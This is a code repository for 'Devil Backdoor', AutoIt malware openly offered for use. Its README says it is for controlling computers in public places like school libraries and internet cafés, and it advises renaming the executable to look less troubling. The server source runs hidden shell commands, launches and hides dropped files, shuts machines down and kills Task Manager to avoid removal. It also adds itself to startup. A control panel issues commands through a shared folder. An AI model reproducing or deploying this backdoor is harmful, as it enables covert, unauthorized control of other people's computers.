├── .vscode └── settings.json ├── .gitattributes ├── assets ├── logo.png └── preview.png ├── dist ├── builded_x64 │ ├── Devil-Server.exe │ ├── Devil-ControlPanel.exe │ └── config.ini └── builded_x86 │ ├── Devil-Server.exe │ ├── Devil-ControlPanel.exe │ └── config.ini ├── config.ini ├── LICENSE ├── README.md ├── Devil-Server.au3 └── Devil-ControlPanel.au3 /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | } -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto -------------------------------------------------------------------------------- /assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kirlovon/devil-backdoor/HEAD/assets/logo.png -------------------------------------------------------------------------------- /assets/preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kirlovon/devil-backdoor/HEAD/assets/preview.png -------------------------------------------------------------------------------- /dist/builded_x64/Devil-Server.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kirlovon/devil-backdoor/HEAD/dist/builded_x64/Devil-Server.exe -------------------------------------------------------------------------------- /dist/builded_x86/Devil-Server.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kirlovon/devil-backdoor/HEAD/dist/builded_x86/Devil-Server.exe -------------------------------------------------------------------------------- /dist/builded_x64/Devil-ControlPanel.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kirlovon/devil-backdoor/HEAD/dist/builded_x64/Devil-ControlPanel.exe -------------------------------------------------------------------------------- /dist/builded_x86/Devil-ControlPanel.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kirlovon/devil-backdoor/HEAD/dist/builded_x86/Devil-ControlPanel.exe -------------------------------------------------------------------------------- /config.ini: -------------------------------------------------------------------------------- 1 | [Config] 2 | 3 | ClientID=Client 4 | ServerPatch=C:\ 5 | ControlPanelPatch=Devil-ControlPanel.exe 6 | AddToStartup=False 7 | Speed=50 8 | -------------------------------------------------------------------------------- /dist/builded_x64/config.ini: -------------------------------------------------------------------------------- 1 | [Config] 2 | 3 | ClientID=Client 4 | ServerPatch=C:\ 5 | ControlPanelPatch=Devil-ControlPanel.exe 6 | AddToStartup=False 7 | Speed=50 8 | -------------------------------------------------------------------------------- /dist/builded_x86/config.ini: -------------------------------------------------------------------------------- 1 | [Config] 2 | 3 | ClientID=Client 4 | ServerPatch=C:\ 5 | ControlPanelPatch=Devil-ControlPanel.exe 6 | AddToStartup=False 7 | Speed=50 8 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Kirlovon 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Devil Backdoor 2 | 3 | This is a simple backdoor made to control computers in various public places, like school library, internet café, etc. 4 | 5 | ![Devil Preview](https://github.com/Kirlovon/Devil-Backdoor/raw/master/assets/preview.png) 6 | 7 | [![license](https://img.shields.io/github/license/Kirlovon/Devil-Backdoor.svg)](https://github.com/Kirlovon/Devil-Backdoor/blob/master/LICENSE) 8 | [![GitHub repo size in bytes](https://img.shields.io/github/repo-size/Kirlovon/Devil-Backdoor.svg)](https://github.com/Kirlovon/Devil-Backdoor) 9 | [![GitHub last commit](https://img.shields.io/github/last-commit/Kirlovon/Devil-Backdoor.svg)](https://github.com/Kirlovon/Devil-Backdoor/commits/master) 10 | 11 | ## Features 12 | * **Show MessageBox** - allows you to show a window with a message! _(Important: Only English letters are supported)_ 13 | * **Execute to CMD** - allows you to run a CMD command on another system! 14 | * **Shutdown** - allows you to turn off the computer! 15 | * **Load File** - allows you to download and run the file on another system! With this function, you can modify and supplement the backdoor capabilities! 16 | * **Crazy Mouse** - the cursor will move to a random position! 17 | * **Block Task Manager** - allows you to block the task manager. This feature can be used to prevent server disconnection. 18 | 19 | ## How to use it? 20 | ### [DOWNLOAD](https://github.com/Kirlovon/Devil-Backdoor/releases) 21 | 22 | ### 1. Server setup 23 | 24 | First, **you need to make sure that all computers are connected to the same shared folder.** You must put the **Devil-Server.exe** _(You can rename this file for something less troubling)_ and the **config.ini** _(This file can not be renamed)_ in the same folder, at any place on the hard drive of the computer. 25 | 26 | Now, you must fill **config.ini** file: 27 | ```ini 28 | [Config] 29 | 30 | ClientID=Client # There must be an ID (Any meaning or word) 31 | ServerPatch=C:\ # There must be the path to the shared folder 32 | ControlPanelPatch=Devil-ControlPanel.exe # There must be the path to the Control Panel ( Optional ) 33 | AddToStartup=True # Put there True or False 34 | Speed=50 # The time that the server will wait for next data file check 35 | ``` 36 | 37 | Save config file, and run **Devil-Server.exe**! If you put **True** in the **AddToStartup**, after start you should see "_Devil Server added to start-up_" message. 38 | 39 | 40 | ### 2. Control Panel usage 41 | 42 | Run **Devil-ControlPanel.exe**. 43 | If you fill **ControlPanelPatch** option in config file, you can press Hotkey to run Control Panel, _( Default hotkey is **PAUSE** )_ and enter the password specified in the code. _(Default is **QWERTY**)_
44 | Next, in the window that appears, select the shared folder. When the interface appears, in the inputbox type the _ClientID_ to select client, that will receive the command. 45 | 46 | ## Building 47 | In **Build** folder you can find 2 files: **build_x86.cmd** and **build_x64.cmd**. Run one of this files, to build backdoor. 48 | 49 | *** 50 | ###### Devil-Backdoor project is for informational purposes only! You take full responsibility for using this software! 51 | *** 52 | 53 | -------------------------------------------------------------------------------- /Devil-Server.au3: -------------------------------------------------------------------------------- 1 | #cs ---------------------------------------------------------------------------- 2 | 3 | Devil Server 4 | AutoIt Version: 3.3.14.5 5 | Version: Release ( 22:38 25.11.2018 ) 6 | 7 | #ce ---------------------------------------------------------------------------- 8 | 9 | #NoTrayIcon 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | ; The program will not start twice 16 | _Singleton("devil_check_server", 0) 17 | 18 | ; Read config file 19 | Global $Config_ClientID = IniRead("config.ini", "Config", "ClientID", "defective_client") 20 | Global $Config_ServerPatch = IniRead("config.ini", "Config", "ServerPatch", "C:\") 21 | Global $Config_ControlPanelPatch = IniRead("config.ini", "Config", "ControlPanelPatch", "Devil-ControlPanel.exe") 22 | Global $Config_AddToStartup = IniRead("config.ini", "Config", "AddToStartup", "False") 23 | Global $Config_Speed = IniRead("config.ini", "Config", "Speed", "10") 24 | 25 | ; Variables 26 | Global $ServerData = "" 27 | Global $Status_CrazyMouse = "False" 28 | Global $Status_BlockTaskManager = "False" 29 | 30 | ; Hotkey to start Control Panel 31 | HotKeySet("{PAUSE}", "RunControlPanel") 32 | 33 | ; ------------------------------------------------------------------------------ 34 | 35 | ; Add backdoor to start-up 36 | If $Config_AddToStartup = "True" Then 37 | If Not FileExists(@StartupDir & "\devil_server.lnk") Then 38 | FileCreateShortcut(@ScriptFullPath, @StartupDir & "\devil_server.lnk", @ScriptDir, "", "devil_server") 39 | Sleep($Config_Speed + 300) 40 | If FileExists(@StartupDir & "\devil_server.lnk") Then 41 | MsgBox($MB_OK, "Devil Server", "Devil Server added to start-up!") 42 | Else 43 | MsgBox($MB_OK, "Devil Server", "Devil Server can not add self to the start-up! Try again!") 44 | EndIf 45 | EndIf 46 | EndIf 47 | 48 | ; ------------------------------------------------------------------------------ 49 | 50 | ; Main Loop 51 | While True 52 | Sleep($Config_Speed + 1) 53 | $ServerData = ReadServer() 54 | 55 | ; Definition and execution of the received command 56 | If $ServerData[0] = "execute_command" Then 57 | CMDExecute($ServerData[1]) 58 | ElseIf $ServerData[0] = "show_message" Then 59 | ShowMessageBox($ServerData[1]) 60 | ElseIf $ServerData[0] = "load_file" Then 61 | LoadFile($ServerData[1]) 62 | ElseIf $ServerData[0] = "shutdown" Then 63 | SystemShutdown() 64 | ElseIf $ServerData[0] = "block_task_manager" Then 65 | $Status_BlockTaskManager = $ServerData[1] 66 | ElseIf $ServerData[0] = "crazy_mouse" Then 67 | $Status_CrazyMouse = $ServerData[1] 68 | EndIf 69 | 70 | ; Same for crazy mouse and task manager blocker 71 | If $Status_BlockTaskManager = "True" Then 72 | BlockTaskManager() 73 | EndIf 74 | If $Status_CrazyMouse = "True" Then 75 | CrazyMouse() 76 | EndIf 77 | WEnd 78 | 79 | ; ------------------------------------------------------------------------------ 80 | 81 | ; Get data from the shared folder 82 | Func ReadServer() 83 | 84 | ; Read data from server 85 | If FileExists($Config_ServerPatch & "\" & $Config_ClientID) Then 86 | Local $Data[2] 87 | $Data[0] = IniRead($Config_ServerPatch & "\" & $Config_ClientID, "Data", "Type", "") 88 | $Data[1] = IniRead($Config_ServerPatch & "\" & $Config_ClientID, "Data", "Command", "") 89 | FileDelete($Config_ServerPatch & "\" & $Config_ClientID) 90 | Return $Data 91 | Else 92 | Local $Data = ["", ""] 93 | Return $Data 94 | EndIf 95 | 96 | EndFunc 97 | 98 | ; Upload and run file 99 | Func LoadFile($File_name) 100 | Sleep($Config_Speed + 500) ; Some delay for file loading 101 | FileCopy($Config_ServerPatch & "\" & $File_name, @ScriptDir, 1) 102 | FileDelete($Config_ServerPatch & "\" & $File_name) 103 | ShellExecute($File_name) ; Launch the file 104 | FileSetAttrib($File_name, "+H") ; Hide the file! 105 | EndFunc 106 | 107 | ; Execute to CMD 108 | Func CMDExecute($Command) 109 | Run(@ComSpec & " /c " & $Command, "", @SW_HIDE) 110 | EndFunc 111 | 112 | ; Show message 113 | Func ShowMessageBox($Text) 114 | MsgBox($MB_OK, "Message", $Text, 10) 115 | EndFunc 116 | 117 | ; Shutdown system 118 | Func SystemShutdown() 119 | Shutdown($SD_SHUTDOWN) 120 | EndFunc 121 | 122 | ; Block task manager 123 | Func BlockTaskManager() 124 | If ProcessExists("taskmgr.exe") Then ProcessClose("taskmgr.exe") 125 | EndFunc 126 | 127 | ; Сrazy mouse 128 | Func CrazyMouse() 129 | MouseMove(Random(0, @DesktopWidth), Random(0, @DesktopHeight), 3) ; Move mouse to random position 130 | EndFunc 131 | 132 | ; Run Control Panel using hotkeys 133 | Func RunControlPanel() 134 | Run($Config_ControlPanelPatch) 135 | EndFunc -------------------------------------------------------------------------------- /Devil-ControlPanel.au3: -------------------------------------------------------------------------------- 1 | #cs ---------------------------------------------------------------------------- 2 | 3 | Devil ControlPanel 4 | AutoIt Version: 3.3.14.5 5 | Version: Release ( 22:35 25.11.2018 ) 6 | 7 | #ce ---------------------------------------------------------------------------- 8 | 9 | #NoTrayIcon 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | ; Variables 20 | Local $Password = "qwerty" ; There must be a password for accessing the command panel! 21 | Global $ClientID = "" 22 | Global $InputBox = "" 23 | 24 | ; Exit hotkey 25 | HotKeySet("{ESC}", "Terminate") 26 | 27 | ; Password protection 28 | Local $Entered_Password = InputBox("Devil ControlPanel", "Enter the password to access the control panel!", "", "*", 270, 130) 29 | If @error Then 30 | Exit 31 | ElseIf Not($Entered_Password = $Password) Then 32 | MsgBox($MB_ICONERROR, "Devil Control Panel", "Wrong password!") 33 | Exit 34 | EndIf 35 | 36 | ; Select shared folder ( server ) 37 | Global $Server_Directory = FileSelectFolder("Enter location of the shared folder!", "C:\") 38 | If @error Then 39 | Exit 40 | EndIf 41 | 42 | ; ------------------------------------------------------------------------------ 43 | 44 | ; GUI 45 | $ControlPanel = GUICreate("Devil ControlPanel", 301, 316, -1, -1) 46 | GUISetBkColor(0xFFFFFF) 47 | $Group1 = GUICtrlCreateGroup("Actions", 16, 48, 265, 153) 48 | $ShowMessageBox_Button = GUICtrlCreateButton("Show Message Box", 24, 72, 251, 25) 49 | $ExecuteToCMD_Button = GUICtrlCreateButton("Execute to CMD", 24, 104, 251, 25) 50 | $SystemShutdown_Button = GUICtrlCreateButton("Shutdown", 24, 136, 251, 25) 51 | $LoadFile_Button = GUICtrlCreateButton("Load File", 24, 168, 251, 25) 52 | GUICtrlCreateGroup("", -99, -99, 1, 1) 53 | $Text = GUICtrlCreateLabel("Client ID", 16, 18, 62, 20) 54 | GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif") 55 | $InputBox = GUICtrlCreateInput("", 88, 16, 193, 21) 56 | $Group2 = GUICtrlCreateGroup("Crazy Mouse", 16, 216, 129, 89) 57 | $CrazyMouse_EnableButton = GUICtrlCreateButton("Enable", 24, 240, 107, 25) 58 | $CrazyMouse_DisableButton = GUICtrlCreateButton("Disable", 24, 272, 107, 25) 59 | GUICtrlCreateGroup("", -99, -99, 1, 1) 60 | $Group3 = GUICtrlCreateGroup("Block Task Manager", 160, 216, 121, 89) 61 | $BlockTaskManager_EnableButton = GUICtrlCreateButton("Enable", 168, 240, 99, 25) 62 | $BlockTaskManager_DisableButton = GUICtrlCreateButton("Disable", 168, 272, 99, 25) 63 | GUICtrlCreateGroup("", -99, -99, 1, 1) 64 | GUISetState(@SW_SHOW) 65 | 66 | ; ------------------------------------------------------------------------------ 67 | 68 | ; Main Loop 69 | While True 70 | Sleep(5) 71 | $GUICommand = GUIGetMsg() 72 | 73 | LockGUI() 74 | Switch $GUICommand 75 | Case $GUI_EVENT_CLOSE 76 | Terminate() 77 | Case $ShowMessageBox_Button 78 | ShowMessageBox() 79 | Case $ExecuteToCMD_Button 80 | ExecuteToCMD() 81 | Case $SystemShutdown_Button 82 | SystemShutdown() 83 | Case $LoadFile_Button 84 | LoadFile() 85 | Case $CrazyMouse_EnableButton 86 | EnableCrazyMouse() 87 | Case $CrazyMouse_DisableButton 88 | DisableCrazyMouse() 89 | Case $BlockTaskManager_EnableButton 90 | EnableBlockTaskManager() 91 | Case $BlockTaskManager_DisableButton 92 | DisableBlockTaskManager() 93 | EndSwitch 94 | UnlockGUI() 95 | 96 | WEnd 97 | 98 | ; ------------------------------------------------------------------------------ 99 | 100 | ; Show message box 101 | Func ShowMessageBox() 102 | $ClientID = GUICtrlRead($InputBox) 103 | 104 | If $ClientID = "" Then 105 | MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") 106 | Else 107 | Local $MessageBox_Text = InputBox("Devil ControlPanel", "Enter the text that will be displayed.", "", "", 270, 130) 108 | If Not @error Then 109 | Local $Temp_DataFile = FileOpen($Server_Directory & "\" & $ClientID & "_temp", $FO_APPEND) 110 | FileSetAttrib($Server_Directory & "\" & $ClientID & "_temp", "+H") 111 | FileWriteLine($Temp_DataFile, "[Data]") 112 | FileWriteLine($Temp_DataFile, "Type=show_message") 113 | FileWriteLine($Temp_DataFile, "Command=" & $MessageBox_Text) 114 | FileCopy($Server_Directory & "\" & $ClientID & "_temp", $Server_Directory & "\" & $ClientID, $FC_OVERWRITE) 115 | FileDelete($Server_Directory & "\" & $ClientID & "_temp") 116 | FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") 117 | FileClose($Temp_DataFile) 118 | EndIf 119 | EndIf 120 | 121 | EndFunc 122 | 123 | ; Execute CMD command 124 | Func ExecuteToCMD() 125 | $ClientID = GUICtrlRead($InputBox) 126 | 127 | If $ClientID = "" Then 128 | MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") 129 | Else 130 | Local $CMD_Command = InputBox("Devil ControlPanel", "Enter the cmd command.", "", "", 270, 130) 131 | If Not @error Then 132 | Local $Temp_DataFile = FileOpen($Server_Directory & "\" & $ClientID & "_temp", $FO_APPEND) 133 | FileSetAttrib($Server_Directory & "\" & $ClientID & "_temp", "+H") 134 | FileWriteLine($Temp_DataFile, "[Data]") 135 | FileWriteLine($Temp_DataFile, "Type=execute_command") 136 | FileWriteLine($Temp_DataFile, "Command=" & $CMD_Command) 137 | FileCopy($Server_Directory & "\" & $ClientID & "_temp", $Server_Directory & "\" & $ClientID, $FC_OVERWRITE) 138 | FileDelete($Server_Directory & "\" & $ClientID & "_temp") 139 | FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") 140 | FileClose($Temp_DataFile) 141 | EndIf 142 | EndIf 143 | 144 | EndFunc 145 | 146 | ; Shutdown system 147 | Func SystemShutdown() 148 | $ClientID = GUICtrlRead($InputBox) 149 | 150 | If $ClientID = "" Then 151 | MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") 152 | Else 153 | Local $Temp_DataFile = FileOpen($Server_Directory & "\" & $ClientID & "_temp", $FO_APPEND) 154 | FileSetAttrib($Server_Directory & "\" & $ClientID & "_temp", "+H") 155 | FileWriteLine($Temp_DataFile, "[Data]") 156 | FileWriteLine($Temp_DataFile, "Type=shutdown") 157 | FileWriteLine($Temp_DataFile, "Command=") 158 | FileCopy($Server_Directory & "\" & $ClientID & "_temp", $Server_Directory & "\" & $ClientID, $FC_OVERWRITE) 159 | FileDelete($Server_Directory & "\" & $ClientID & "_temp") 160 | FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") 161 | FileClose($Temp_DataFile) 162 | EndIf 163 | 164 | EndFunc 165 | 166 | ; Load file to the system 167 | Func LoadFile() 168 | $ClientID = GUICtrlRead($InputBox) 169 | 170 | If $ClientID = "" Then 171 | MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") 172 | Else 173 | Local $File_To_Load = FileOpenDialog("Select the file, that must be uploaded!", "C:\", "All (*.*)" ) 174 | If Not @error Then 175 | Local $Temp_DataFile = FileOpen($Server_Directory & "\" & $ClientID & "_temp", $FO_APPEND) 176 | Local $File_Name = _PathSplit($File_To_Load, -1, -1, -1, -1) ; Get file name 177 | FileCopy($File_To_Load, $Server_Directory) 178 | FileSetAttrib($Server_Directory & "\" & $ClientID & "_temp", "+H") 179 | FileWriteLine($Temp_DataFile, "[Data]") 180 | FileWriteLine($Temp_DataFile, "Type=load_file") 181 | FileWriteLine($Temp_DataFile, "Command=" & $File_Name[3] & $File_Name[4]) 182 | FileCopy($Server_Directory & "\" & $ClientID & "_temp", $Server_Directory & "\" & $ClientID, $FC_OVERWRITE) 183 | FileDelete($Server_Directory & "\" & $ClientID & "_temp") 184 | FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") 185 | FileClose($Temp_DataFile) 186 | EndIf 187 | EndIf 188 | 189 | EndFunc 190 | 191 | ; Enable CrazyMouse 192 | Func EnableCrazyMouse() 193 | $ClientID = GUICtrlRead($InputBox) 194 | 195 | If $ClientID = "" Then 196 | MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") 197 | Else 198 | Local $Temp_DataFile = FileOpen($Server_Directory & "\" & $ClientID & "_temp", $FO_APPEND) 199 | FileSetAttrib($Server_Directory & "\" & $ClientID & "_temp", "+H") 200 | FileWriteLine($Temp_DataFile, "[Data]") 201 | FileWriteLine($Temp_DataFile, "Type=crazy_mouse") 202 | FileWriteLine($Temp_DataFile, "Command=True") 203 | FileCopy($Server_Directory & "\" & $ClientID & "_temp", $Server_Directory & "\" & $ClientID, $FC_OVERWRITE) 204 | FileDelete($Server_Directory & "\" & $ClientID & "_temp") 205 | FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") 206 | FileClose($Temp_DataFile) 207 | EndIf 208 | 209 | EndFunc 210 | 211 | ; Disable CrazyMouse 212 | Func DisableCrazyMouse() 213 | $ClientID = GUICtrlRead($InputBox) 214 | 215 | If $ClientID = "" Then 216 | MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") 217 | Else 218 | Local $Temp_DataFile = FileOpen($Server_Directory & "\" & $ClientID & "_temp", $FO_APPEND) 219 | FileSetAttrib($Server_Directory & "\" & $ClientID & "_temp", "+H") 220 | FileWriteLine($Temp_DataFile, "[Data]") 221 | FileWriteLine($Temp_DataFile, "Type=crazy_mouse") 222 | FileWriteLine($Temp_DataFile, "Command=False") 223 | FileCopy($Server_Directory & "\" & $ClientID & "_temp", $Server_Directory & "\" & $ClientID, $FC_OVERWRITE) 224 | FileDelete($Server_Directory & "\" & $ClientID & "_temp") 225 | FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") 226 | FileClose($Temp_DataFile) 227 | EndIf 228 | 229 | EndFunc 230 | 231 | ; Enable block task manager 232 | Func EnableBlockTaskManager() 233 | $ClientID = GUICtrlRead($InputBox) 234 | 235 | If $ClientID = "" Then 236 | MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") 237 | Else 238 | Local $Temp_DataFile = FileOpen($Server_Directory & "\" & $ClientID & "_temp", $FO_APPEND) 239 | FileSetAttrib($Server_Directory & "\" & $ClientID & "_temp", "+H") 240 | FileWriteLine($Temp_DataFile, "[Data]") 241 | FileWriteLine($Temp_DataFile, "Type=block_task_manager") 242 | FileWriteLine($Temp_DataFile, "Command=True") 243 | FileCopy($Server_Directory & "\" & $ClientID & "_temp", $Server_Directory & "\" & $ClientID, $FC_OVERWRITE) 244 | FileDelete($Server_Directory & "\" & $ClientID & "_temp") 245 | FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") 246 | FileClose($Temp_DataFile) 247 | EndIf 248 | 249 | EndFunc 250 | 251 | ; Disable block task manager 252 | Func DisableBlockTaskManager() 253 | $ClientID = GUICtrlRead($InputBox) 254 | 255 | If $ClientID = "" Then 256 | MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") 257 | Else 258 | Local $Temp_DataFile = FileOpen($Server_Directory & "\" & $ClientID & "_temp", $FO_APPEND) 259 | FileSetAttrib($Server_Directory & "\" & $ClientID & "_temp", "+H") 260 | FileWriteLine($Temp_DataFile, "[Data]") 261 | FileWriteLine($Temp_DataFile, "Type=block_task_manager") 262 | FileWriteLine($Temp_DataFile, "Command=False") 263 | FileCopy($Server_Directory & "\" & $ClientID & "_temp", $Server_Directory & "\" & $ClientID, $FC_OVERWRITE) 264 | FileDelete($Server_Directory & "\" & $ClientID & "_temp") 265 | FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") 266 | FileClose($Temp_DataFile) 267 | EndIf 268 | 269 | EndFunc 270 | 271 | ; Lock gui elements 272 | Func LockGUI() 273 | GUICtrlSetState($ShowMessageBox_Button, $GUI_DISABLE) 274 | GUICtrlSetState($ExecuteToCMD_Button, $GUI_DISABLE) 275 | GUICtrlSetState($SystemShutdown_Button, $GUI_DISABLE) 276 | GUICtrlSetState($LoadFile_Button, $GUI_DISABLE) 277 | GUICtrlSetState($CrazyMouse_EnableButton, $GUI_DISABLE) 278 | GUICtrlSetState($CrazyMouse_DisableButton, $GUI_DISABLE) 279 | GUICtrlSetState($BlockTaskManager_EnableButton, $GUI_DISABLE) 280 | GUICtrlSetState($BlockTaskManager_DisableButton, $GUI_DISABLE) 281 | GUICtrlSetState($InputBox, $GUI_DISABLE) 282 | EndFunc 283 | 284 | ; Unlock gui elements 285 | Func UnlockGUI() 286 | GUICtrlSetState($ShowMessageBox_Button, $GUI_ENABLE) 287 | GUICtrlSetState($ExecuteToCMD_Button, $GUI_ENABLE) 288 | GUICtrlSetState($SystemShutdown_Button, $GUI_ENABLE) 289 | GUICtrlSetState($LoadFile_Button, $GUI_ENABLE) 290 | GUICtrlSetState($CrazyMouse_EnableButton, $GUI_ENABLE) 291 | GUICtrlSetState($CrazyMouse_DisableButton, $GUI_ENABLE) 292 | GUICtrlSetState($BlockTaskManager_EnableButton, $GUI_ENABLE) 293 | GUICtrlSetState($BlockTaskManager_DisableButton, $GUI_ENABLE) 294 | GUICtrlSetState($InputBox, $GUI_ENABLE) 295 | EndFunc 296 | 297 | ; Exit 298 | Func Terminate() 299 | If GUICtrlRead($InputBox) = "" Then 300 | Exit 301 | Else 302 | DisableCrazyMouse() 303 | DisableBlockTaskManager() 304 | Exit 305 | EndIf 306 | EndFunc --------------------------------------------------------------------------------